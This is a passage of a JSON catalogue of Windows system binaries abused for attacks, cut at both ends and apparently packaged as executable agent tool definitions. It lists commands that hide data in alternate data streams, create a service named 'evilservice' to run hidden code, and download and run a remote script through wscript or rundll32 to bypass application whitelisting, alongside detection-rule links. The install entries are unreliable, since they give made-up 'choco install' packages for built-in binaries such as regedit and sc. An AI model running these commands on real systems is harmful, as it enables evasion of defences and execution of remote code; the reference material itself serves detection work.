    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
      },
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "defense-evasion",
      "credential-access",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# makecab\n\nmakecab is a Windows LOLBin. Binary to package existing files into a cabinet (.cab) file Located at: C:\\Windows\\System32\\makecab.exe; C:\\Windows\\SysWOW64\\makecab.exe.\n",
    "_source": "makecab.md",
    "allowed-tools": [
      "makecab"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary to package existing files into a cabinet (.cab) file Located at: C:\\Windows\\System32\\makecab.exe; C:\\Windows\\SysWOW64\\makecab.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml"
      },
      {
        "type": "ioc",
        "description": "Makecab retrieving files from Internet"
      },
      {
        "type": "ioc",
        "description": "Makecab storing data into alternate data streams"
      }
    ],
    "examples": [
      {
        "description": "Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file. (Hide data compressed into an alternate data stream)",
        "command": "makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab"
      },
      {
        "description": "Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file. (Hide data compressed into an alternate data stream)",
        "command": "makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cab"
      },
      {
        "description": "Download and compresses the target file and stores it in the target file. (Download file and compress into a cab file)",
        "command": "makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}"
      },
      {
        "description": "Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification. (Bypass command-line based detections)",
        "command": "makecab /F {PATH:.ddf}"
      }
    ],
    "execution": {
      "template": "makecab",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-makecab",
    "install": [
      {
        "method": "choco",
        "package_name": "makecab",
        "commands": [
          "choco install makecab"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1105",
      "T1036"
    ],
    "name": "makecab",
    "namespace": "windows:ads:makecab",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      },
      {
        "label": "makecab-directives.html",
        "url": "https://ss64.com/nt/makecab-directives.html"
      },
      {
        "label": "0789728583.pdf",
        "url": "https://www.pearsonhighered.com/assets/samplechapter/0/7/8/9/0789728583.pdf"
      },
      {
        "label": "bb417343(v=msdn.10)#makecab-application",
        "url": "https://learn.microsoft.com/en-us/previous-versions/bb417343(v=msdn.10)#makecab-application"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "exfiltration",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# regedit\n\nregedit is a Windows LOLBin. Used by Windows to manipulate registry Located at: C:\\Windows\\regedit.exe.\n",
    "_source": "regedit.md",
    "allowed-tools": [
      "regedit"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to manipulate registry Located at: C:\\Windows\\regedit.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml"
      },
      {
        "type": "ioc",
        "description": "regedit.exe reading and writing to alternate data stream"
      },
      {
        "type": "ioc",
        "description": "regedit.exe should normally not be executed by end-users"
      }
    ],
    "examples": [
      {
        "description": "Export the target Registry key to the specified .REG file. (Hide registry data in alternate data stream)",
        "command": "regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\\MyCustomRegKey"
      },
      {
        "description": "Import the target .REG file into the Registry. (Import hidden registry data from alternate data stream)",
        "command": "regedit {PATH_ABSOLUTE}:regfile.reg"
      }
    ],
    "execution": {
      "template": "regedit",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-regedit",
    "install": [
      {
        "method": "choco",
        "package_name": "regedit",
        "commands": [
          "choco install regedit"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004"
    ],
    "name": "regedit",
    "namespace": "windows:ads:regedit",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# regini\n\nregini is a Windows LOLBin. Used to manipulate the registry Located at: C:\\Windows\\System32\\regini.exe; C:\\Windows\\SysWOW64\\regini.exe.\n",
    "_source": "regini.md",
    "allowed-tools": [
      "regini"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to manipulate the registry Located at: C:\\Windows\\System32\\regini.exe; C:\\Windows\\SysWOW64\\regini.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regini_ads.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regini_execution.yml"
      },
      {
        "type": "ioc",
        "description": "regini.exe reading from ADS"
      }
    ],
    "examples": [
      {
        "description": "Write registry keys from data inside the Alternate data stream. (Write to registry)",
        "command": "regini.exe {PATH}:hidden.ini"
      }
    ],
    "execution": {
      "template": "regini",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-regini",
    "install": [
      {
        "method": "choco",
        "package_name": "regini",
        "commands": [
          "choco install regini"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004"
    ],
    "name": "regini",
    "namespace": "windows:ads:regini",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sc\n\nsc is a Windows LOLBin. Used by Windows to manage services Located at: C:\\Windows\\System32\\sc.exe; C:\\Windows\\SysWOW64\\sc.exe.\n",
    "_source": "sc.md",
    "allowed-tools": [
      "sc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to manage services Located at: C:\\Windows\\System32\\sc.exe; C:\\Windows\\SysWOW64\\sc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_susp_service_creation.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/sc_exe_manipulating_windows_services.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/lateral_movement_cmd_service.toml"
      },
      {
        "type": "ioc",
        "description": "Unexpected service creation"
      },
      {
        "type": "ioc",
        "description": "Unexpected service modification"
      }
    ],
    "examples": [
      {
        "description": "Creates a new service and executes the file stored in the ADS. (Execute binary file hidden inside an alternate data stream)",
        "command": "sc create evilservice binPath=\"\\\"c:\\\\ADS\\\\file.txt:cmd.exe\\\" /c echo works > \\\"c:\\ADS\\works.txt\\\"\" DisplayName= \"evilservice\" start= auto\\ & sc start evilservice"
      },
      {
        "description": "Modifies an existing service and executes the file stored in the ADS. (Execute binary file hidden inside an alternate data stream)",
        "command": "sc config {ExistingServiceName} binPath=\"\\\"c:\\\\ADS\\\\file.txt:cmd.exe\\\" /c echo works > \\\"c:\\ADS\\works.txt\\\"\" & sc start {ExistingServiceName}"
      }
    ],
    "execution": {
      "template": "sc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-sc",
    "install": [
      {
        "method": "choco",
        "package_name": "sc",
        "commands": [
          "choco install sc"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004"
    ],
    "name": "sc",
    "namespace": "windows:ads:sc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wscript\n\nwscript is a Windows LOLBin. Used by Windows to execute scripts Located at: C:\\Windows\\System32\\wscript.exe; C:\\Windows\\SysWOW64\\wscript.exe.\n",
    "_source": "wscript.md",
    "allowed-tools": [
      "wscript"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to execute scripts Located at: C:\\Windows\\System32\\wscript.exe; C:\\Windows\\SysWOW64\\wscript.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Wscript.exe executing code from alternate data streams"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR libraries loaded into wscript.exe"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR Usage Log - wscript.exe.log"
      }
    ],
    "examples": [
      {
        "description": "Execute script stored in an alternate data stream (Execute hidden code to evade defensive counter measures)",
        "command": "wscript //e:vbscript {PATH}:script.vbs"
      },
      {
        "description": "Download and execute script stored in an alternate data stream (Execute hidden code to evade defensive counter measures)",
        "command": "echo GetObject(\"script:{REMOTEURL:.js}\") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js"
      }
    ],
    "execution": {
      "template": "wscript",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-ads-wscript",
    "install": [
      {
        "method": "choco",
        "package_name": "wscript",
        "commands": [
          "choco install wscript"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004"
    ],
    "name": "wscript",
    "namespace": "windows:ads:wscript",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# aspnet-compiler\n\naspnet-compiler is a Windows LOLBin. ASP.NET Compilation Tool Located at: c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe; c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe.\n",
    "_source": "aspnet-compiler.md",
    "allowed-tools": [
      "aspnet-compiler"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ASP.NET Compilation Tool Located at: c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe; c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe.",
    "detections": [
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute C# code with the Build Provider and proper folder structure in place. (Execute proxied payload with Microsoft signed binary to bypass application control solutions)",
        "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\users\\cpl.internal\\desktop\\asptest\\ -f C:\\users\\cpl.internal\\desktop\\asptest\\none -u"
      }
    ],
    "execution": {
      "template": "aspnet-compiler",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-aspnet-compiler",
    "install": [
      {
        "method": "choco",
        "package_name": "aspnet-compiler",
        "commands": [
          "choco install aspnet-compiler"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "aspnet-compiler",
    "namespace": "windows:bypass:aspnet-compiler",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/"
      },
      {
        "label": "system.web.compilation.buildprovider.generatecode?",
        "url": "https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dfshim\n\ndfshim is a Windows LOLBin. ClickOnce engine in Windows used by .NET Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe.\n",
    "_source": "dfshim.md",
    "allowed-tools": [
      "dfshim"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ClickOnce engine in Windows used by .NET Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host) (Use binary to bypass Application whitelisting)",
        "command": "rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "dfshim",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-dfshim",
    "install": [
      {
        "method": "choco",
        "package_name": "dfshim",
        "commands": [
          "choco install dfshim"
        ]
      }
    ],
    "mitre_ids": [
      "T1127.002"
    ],
    "name": "dfshim",
    "namespace": "windows:bypass:dfshim",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "ShmooCon-2015-Simple-WLEvasion.pdf",
        "url": "https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf"
      },
      {
        "label": "clickonce-runtime-dfsvc-exe",
        "url": "https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dfsvc\n\ndfsvc is a Windows LOLBin. ClickOnce engine in Windows used by .NET Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe.\n",
    "_source": "dfsvc.md",
    "allowed-tools": [
      "dfsvc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ClickOnce engine in Windows used by .NET Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host) (Use binary to bypass Application whitelisting)",
        "command": "rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "dfsvc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-dfsvc",
    "install": [
      {
        "method": "choco",
        "package_name": "dfsvc",
        "commands": [
          "choco install dfsvc"
        ]
      }
    ],
    "mitre_ids": [
      "T1127.002"
    ],
    "name": "dfsvc",
    "namespace": "windows:bypass:dfsvc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "ShmooCon-2015-Simple-WLEvasion.pdf",
        "url": "https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf"
      },
      {
        "label": "clickonce-runtime-dfsvc-exe",
        "url": "https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# fsi\n\nfsi is a Windows LOLBin. 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK. Located at: C:\\Program Files\\dotnet\\sdk\\<version>\\FSharp\\fsi.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsi.exe.\n",
    "_source": "fsi.md",
    "allowed-tools": [
      "fsi"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK. Located at: C:\\Program Files\\dotnet\\sdk\\<version>\\FSharp\\fsi.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsi.exe.",
    "detections": [
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "ioc",
        "description": "Fsi.exe execution may be suspicious on non-developer machines"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute F# code via script file (Execute payload with Microsoft signed binary to bypass WDAC policies)",
        "command": "fsi.exe {PATH:.fsscript}"
      },
      {
        "description": "Execute F# code via interactive command line (Execute payload with Microsoft signed binary to bypass WDAC policies)",
        "command": "fsi.exe"
      }
    ],
    "execution": {
      "template": "fsi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-bypass-fsi",
    "install": [
      {
        "method": "choco",
        "package_name": "fsi",
        "commands": [
          "choco install fsi"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "fsi",
    "namespace": "windows:bypass:fsi",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "904273264385589248",
        "url": "https://twitter.com/NickTyrer/status/904273264385589248"
      },
      {
        "label": "",
        "url": "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
